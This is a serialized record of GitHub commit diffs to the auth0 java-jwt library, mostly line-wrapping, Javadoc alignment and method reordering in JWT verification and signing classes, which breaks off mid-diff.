         return String.format("%s.%s.%s", header, payload, signature);u}(j  (cc283095f25e9231c857ca94330a5ef73c1a8a05j  /lib/src/main/java/com/auth0/jwt/JWTDecoder.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X9  @@ -42,7 +42,7 @@ final class JWTDecoder implements DecodedJWT, Serializable {
             payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
         } catch (NullPointerException e) {
             throw new JWTDecodeException("The UTF-8 Charset isn't initialized.", e);
-        } catch (IllegalArgumentException e){
+        } catch (IllegalArgumentException e) {
             throw new JWTDecodeException("The input is not a valid base 64 encoded string.", e);
         }
         header = converter.parseHeader(headerJson);u}(j  (77dfef4e4aa83bafd8ca7002d30754327ae77b43j  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj  modifiedj  Kj  Kj  K-j  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  Xk  @@ -16,11 +16,13 @@
 import java.util.*;
 
 /**
- * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
+ * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format,
+ * but also its signature matches.
  * <p>
  * This class is thread-safe.
+ *
+ * @see com.auth0.jwt.interfaces.JWTVerifier
  */
-@SuppressWarnings("WeakerAccess")
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     private final Algorithm algorithm;
     final Map<String, Object> claims;
@@ -48,6 +50,9 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
         return new BaseVerification(algorithm);
     }
 
+    /**
+     * {@link Verification} implementation that accepts all the expected Claim values for verification.
+     */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
         private final Map<String, Object> claims;
@@ -180,7 +185,8 @@ public Verification withClaim(String name, Date value) throws IllegalArgumentExc
         @Override
         public Verification withClaim(String name, Instant value) throws IllegalArgumentException {
             assertNonNull(name);
-            // Since date-time claims are serialized as epoch seconds, we need to compare them with only seconds-granularity
+            // Since date-time claims are serialized as epoch seconds,
+            // we need to compare them with only seconds-granularity
             requireClaim(name, value != null ? value.truncatedTo(ChronoUnit.SECONDS) : null);
             return this;
         }
@@ -280,7 +286,8 @@ private static boolean isNullOrEmpty(String[] args) {
      *
      * @param token to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
+     *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
      * @throws InvalidClaimException          if a claim contained a different value than the expected one.
@@ -296,7 +303,8 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
+     *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
      * @throws InvalidClaimException          if a claim contained a different value than the expected one.
@@ -311,11 +319,13 @@ public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
 
     private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws AlgorithmMismatchException {
         if (!expectedAlgorithm.getName().equals(jwt.getAlgorithm())) {
-            throw new AlgorithmMismatchException("The provided Algorithm doesn't match the one defined in the JWT's Header.");
+            throw new AlgorithmMismatchException(
+                    "The provided Algorithm doesn't match the one defined in the JWT's Header.");
         }
     }
 
-    private void verifyClaims(DecodedJWT jwt, Map<String, Object> claims) throws TokenExpiredException, InvalidClaimException {
+    private void verifyClaims(DecodedJWT jwt, Map<String, Object> claims)
+            throws TokenExpiredException, InvalidClaimException {
         for (Map.Entry<String, Object> entry : claims.entrySet()) {
             if (entry.getValue() instanceof NonEmptyClaim) {
                 assertClaimPresent(jwt.getClaim(entry.getKey()), entry.getKey());
@@ -327,8 +337,9 @@ private void verifyClaims(DecodedJWT jwt, Map<String, Object> claims) throws Tok
 
     private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expectedClaim) {
         switch (expectedClaim.getKey()) {
-            // We use custom keys for audience in the expected claims to differentiate between validating that the audience
-            // contains all expected values, or validating that the audience contains at least one of the expected values.
+            // We use custom keys for audience in the expected claims to differentiate between
+            // validating that the audience contains all expected values, or validating that the audience contains
+            // at least one of the expected values.
             case AUDIENCE_EXACT:
                 assertValidAudienceClaim(jwt.getAudience(), (List<String>) expectedClaim.getValue(), true);
                 break;
@@ -354,7 +365,8 @@ private void verifyClaimValues(DecodedJWT jwt, Map.Entry<String, Object> expecte
                 assertValidStringClaim(expectedClaim.getKey(), jwt.getSubject(), (String) expectedClaim.getValue());
                 break;
             default:
-                assertValidClaim(jwt.getClaim(expectedClaim.getKey()), expectedClaim.getKey(), expectedClaim.getValue());
+                assertValidClaim(jwt.getClaim(expectedClaim.getKey()), expectedClaim.getKey(),
+                        expectedClaim.getValue());
                 break;
         }
     }
@@ -402,13 +414,15 @@ private void assertValidClaim(Claim claim, String claimName, Object value) {
         }
 
         if (!isValid) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
+            throw new InvalidClaimException(
+                    String.format("The Claim '%s' value doesn't match the required one.", claimName));
         }
     }
 
     private void assertValidStringClaim(String claimName, String value, String expectedValue) {
         if (!expectedValue.equals(value)) {
-            throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
+            throw new InvalidClaimException(
+                    String.format("The Claim '%s' value doesn't match the required one.", claimName));
         }
     }
 
@@ -434,8 +448,8 @@ private void assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
     }
 
     private void assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
-        if (audience == null || (shouldContainAll && !audience.containsAll(values)) ||
-                (!shouldContainAll && Collections.disjoint(audience, values))) {
+        if (audience == null || (shouldContainAll && !audience.containsAll(values))
+                || (!shouldContainAll && Collections.disjoint(audience, values))) {
             throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
         }
     }
@@ -452,7 +466,8 @@ private void assertValidIssuerClaim(String issuer, List<String> value) {
     private static class NonEmptyClaim {
         private static NonEmptyClaim nonEmptyClaim;
 
-        private NonEmptyClaim() {}
+        private NonEmptyClaim() {
+        }
 
         public static NonEmptyClaim getInstance() {
             if (nonEmptyClaim == null) {u}(j  (0a76028b12002eccfc34165e5c7b3e33dbfaa01cj  /lib/src/main/java/com/auth0/jwt/TokenUtils.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X  @@ -18,7 +18,8 @@ static String[] splitToken(String token) throws JWTDecodeException {
             parts = new String[]{parts[0], parts[1], ""};
         }
         if (parts.length != 3) {
-            throw new JWTDecodeException(String.format("The token was expected to have 3 parts, but got %s.", parts.length));
+            throw new JWTDecodeException(
+                    String.format("The token was expected to have 3 parts, but got %s.", parts.length));
         }
         return parts;
     }u     }(j  (a52470055ec0f1430a30c29295d72158a56a3e15j  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javaj  modifiedj  K j  Kj  K:j  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  XS  @@ -139,47 +139,47 @@ public static Algorithm HMAC256(String secret) throws IllegalArgumentException {
     }
 
     /**
-     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
+     * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
      *
-     * @param secret the secret to use in the verify or signing instance.
-     * @return a valid HMAC384 Algorithm.
+     * @param secret the secret bytes to use in the verify or signing instance.
+     * @return a valid HMAC256 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
-    public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
+    public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS256", "HmacSHA256", secret);
     }
 
     /**
-     * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
+     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *
      * @param secret the secret to use in the verify or signing instance.
-     * @return a valid HMAC512 Algorithm.
+     * @return a valid HMAC384 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
-    public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS512", "HmacSHA512", secret);
+    public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
     }
 
     /**
-     * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
+     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *
      * @param secret the secret bytes to use in the verify or signing instance.
-     * @return a valid HMAC256 Algorithm.
+     * @return a valid HMAC384 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
-    public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS256", "HmacSHA256", secret);
+    public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
     }
 
     /**
-     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
+     * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
      *
-     * @param secret the secret bytes to use in the verify or signing instance.
-     * @return a valid HMAC384 Algorithm.
+     * @param secret the secret to use in the verify or signing instance.
+     * @return a valid HMAC512 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
-    public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
+    public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS512", "HmacSHA512", secret);
     }
 
     /**
@@ -192,8 +192,7 @@ public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
     public static Algorithm HMAC512(byte[] secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS512", "HmacSHA512", secret);
     }
-    
-    
+
 
     /**
      * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256".
@@ -314,7 +313,8 @@ protected Algorithm(String name, String description) {
     }
 
     /**
-     * Getter for the Id of the Private Key used to sign the tokens. This is usually specified as the `kid` claim in the Header.
+     * Getter for the Id of the Private Key used to sign the tokens.
+     * This is usually specified as the `kid` claim in the Header.
      *
      * @return the Key Id that identifies the Signing Key or null if it's not specified.
      */
@@ -332,7 +332,8 @@ public String getName() {
     }
 
     /**
-     * Getter for the description of this Algorithm, required when instantiating a Mac or Signature object. i.e. "HmacSHA256"
+     * Getter for the description of this Algorithm,
+     * required when instantiating a Mac or Signature object. i.e. "HmacSHA256"
      *
      * @return the algorithm description.
      */
@@ -349,15 +350,19 @@ public String toString() {
      * Verify the given token using this Algorithm instance.
      *
      * @param jwt the already decoded JWT that it's going to be verified.
-     * @throws SignatureVerificationException if the Token's Signature is invalid, meaning that it doesn't match the signatureBytes, or if the Key is invalid.
+     * @throws SignatureVerificationException if the Token's Signature is invalid,
+     *                                        meaning that it doesn't match the signatureBytes,
+     *                                        or if the Key is invalid.
      */
     public abstract void verify(DecodedJWT jwt) throws SignatureVerificationException;
 
     /**
      * Sign the given content using this Algorithm instance.
      *
-     * @param headerBytes  an array of bytes representing the base64 encoded header content to be verified against the signature.
-     * @param payloadBytes an array of bytes representing the base64 encoded payload content to be verified against the signature.
+     * @param headerBytes  an array of bytes representing the base64 encoded header content
+     *                     to be verified against the signature.
+     * @param payloadBytes an array of bytes representing the base64 encoded payload content
+     *                     to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
      */
@@ -376,7 +381,8 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
      * Sign the given content using this Algorithm instance.
      * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param contentBytes an array of bytes representing the base64 encoded content to be verified against the signature.
+     * @param contentBytes an array of bytes representing the base64 encoded content
+     *                     to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
      */u}(j  (d2a88b3bc9878eb8578b2210eb8a3d9d03226cd3j  <lib/src/main/java/com/auth0/jwt/algorithms/CryptoHelper.javaj  modifiedj  Kj  Kaj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  XiC  @@ -12,115 +12,172 @@
  */
 class CryptoHelper {
 
-    private static final byte JWT_PART_SEPARATOR = (byte)46;
+    private static final byte JWT_PART_SEPARATOR = (byte) 46;
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param header JWT header.
-     * @param payload JWT payload.
+     * @param algorithm      algorithm name.
+     * @param secretBytes    algorithm secret.
+     * @param header         JWT header.
+     * @param payload        JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
 
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, String header, String payload, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return verifySignatureFor(algorithm, secretBytes, header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            String header,
+            String payload,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        return verifySignatureFor(algorithm, secretBytes,
+                header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
+     * @param algorithm      algorithm name.
+     * @param secretBytes    algorithm secret.
+     * @param headerBytes    JWT header.
+     * @param payloadBytes   JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
 
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] headerBytes, byte[] payloadBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes), signatureBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            byte[] headerBytes,
+            byte[] payloadBytes,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes),
+                signatureBytes);
     }
 
     /**
-     * Create signature for JWT header and payload.
+     * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
-     * @return the signature bytes.
+     * @param algorithm      algorithm name.
+     * @param publicKey      algorithm public key.
+     * @param header         JWT header.
+     * @param payload        JWT payload.
+     * @param signatureBytes JWT signature.
+     * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] headerBytes, byte[] payloadBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        final Mac mac = Mac.getInstance(algorithm);
-        mac.init(new SecretKeySpec(secretBytes, algorithm));
-        mac.update(headerBytes);
-        mac.update(JWT_PART_SEPARATOR);
-        return mac.doFinal(payloadBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            PublicKey publicKey,
+            String header,
+            String payload,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+        return verifySignatureFor(algorithm, publicKey, header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
     }
 
     /**
-     * Verify signature for JWT header and payload.
+     * Verify signature for JWT header and payload using a public key.
      *
-     * @param algorithm algorithm name.
-     * @param publicKey algorithm public key.
-     * @param header JWT header.
-     * @param payload JWT payload.
+     * @param algorithm      algorithm name.
+     * @param publicKey      the public key to use for verification.
+     * @param headerBytes    JWT header.
+     * @param payloadBytes   JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, String header, String payload, byte[] signatureBytes)  throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        return verifySignatureFor(algorithm, publicKey, header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            PublicKey publicKey,
+            byte[] headerBytes,
+            byte[] payloadBytes,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+        final Signature s = Signature.getInstance(algorithm);
+        s.initVerify(publicKey);
+        s.update(headerBytes);
+        s.update(JWT_PART_SEPARATOR);
+        s.update(payloadBytes);
+        return s.verify(signatureBytes);
     }
 
     /**
-     * Verify signature for JWT header and payload using a public key.
+     * Verify signature.
+     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param algorithm algorithm name.
-     * @param publicKey the public key to use for verification.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
+     * @param algorithm      algorithm name.
+     * @param secretBytes    algorithm secret.
+     * @param contentBytes   the content to which the signature applies.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
+    boolean verifySignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            byte[] contentBytes,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, contentBytes), signatureBytes);
+    }
 
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] headerBytes, byte[] payloadBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    /**
+     * Verify signature using a public key.
+     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
+     *
+     * @param algorithm      algorithm name.
+     * @param publicKey      algorithm public key.
+     * @param contentBytes   the content to which the signature applies.
+     * @param signatureBytes JWT signature.
+     * @return the signature bytes.
+     * @throws NoSuchAlgorithmException if the algorithm is not supported.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
+     * @throws SignatureException       if this signature object is not initialized properly
+     *                                  or if this signature algorithm is unable to process the input data provided.
+     */
+    boolean verifySignatureFor(
+            String algorithm,
+            PublicKey publicKey,
+            byte[] contentBytes,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initVerify(publicKey);
-        s.update(headerBytes);
-        s.update(JWT_PART_SEPARATOR);
-        s.update(payloadBytes);
+        s.update(contentBytes);
         return s.verify(signatureBytes);
     }
 
     /**
      * Create signature for JWT header and payload using a private key.
      *
-     * @param algorithm algorithm name.
-     * @param privateKey the private key to use for signing.
-     * @param headerBytes JWT header.
+     * @param algorithm    algorithm name.
+     * @param privateKey   the private key to use for signing.
+     * @param headerBytes  JWT header.
      * @param payloadBytes JWT payload.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
+     * @throws SignatureException       if this signature object is not initialized properly
+     *                                  or if this signature algorithm is unable to process the input data provided.
      */
-
-    byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] headerBytes, byte[] payloadBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    byte[] createSignatureFor(
+            String algorithm,
+            PrivateKey privateKey,
+            byte[] headerBytes,
+            byte[] payloadBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);
         s.update(headerBytes);
@@ -130,75 +187,66 @@ byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] header
     }
 
     /**
-     * Verify signature.
-     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
+     * Create signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param contentBytes the content to which the signature applies.
-     * @param signatureBytes JWT signature.
-     * @return true if signature is valid.
+     * @param algorithm    algorithm name.
+     * @param secretBytes  algorithm secret.
+     * @param headerBytes  JWT header.
+     * @param payloadBytes JWT payload.
+     * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, contentBytes), signatureBytes);
+    byte[] createSignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            byte[] headerBytes,
+            byte[] payloadBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        final Mac mac = Mac.getInstance(algorithm);
+        mac.init(new SecretKeySpec(secretBytes, algorithm));
+        mac.update(headerBytes);
+        mac.update(JWT_PART_SEPARATOR);
+        return mac.doFinal(payloadBytes);
     }
 
     /**
      * Create signature.
      * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
+     * @param algorithm    algorithm name.
+     * @param secretBytes  algorithm secret.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException {
+    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes)
+            throws NoSuchAlgorithmException, InvalidKeyException {
         final Mac mac = Mac.getInstance(algorithm);
         mac.init(new SecretKeySpec(secretBytes, algorithm));
         return mac.doFinal(contentBytes);
     }
 
-    /**
-     * Verify signature using a public key.
-     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
-     *
-     * @param algorithm algorithm name.
-     * @param publicKey algorithm public key.
-     * @param contentBytes the content to which the signature applies.
-     * @param signatureBytes JWT signature.
-     * @return the signature bytes.
-     * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
-     */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        final Signature s = Signature.getInstance(algorithm);
-        s.initVerify(publicKey);
-        s.update(contentBytes);
-        return s.verify(signatureBytes);
-    }
-
     /**
      * Create signature using a private key.
      * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param algorithm algorithm name.
-     * @param privateKey the private key to use for signing.
+     * @param algorithm    algorithm name.
+     * @param privateKey   the private key to use for signing.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
+     * @throws SignatureException       if this signature object is not initialized properly
+     *                                  or if this signature algorithm is unable to process the input data provided.
      */
 
-    byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    byte[] createSignatureFor(
+            String algorithm,
+            PrivateKey privateKey,
+            byte[] contentBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);
         s.update(contentBytes);u}(j  (26700a2ac40e85621432e3bb878cb3fb88a94f87j  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj  modifiedj  K j  Kj  K9j  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X]  @@ -24,7 +24,8 @@ class ECDSAAlgorithm extends Algorithm {
     private final int ecNumberSize;
 
     //Visible for testing
-    ECDSAAlgorithm(CryptoHelper crypto, String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
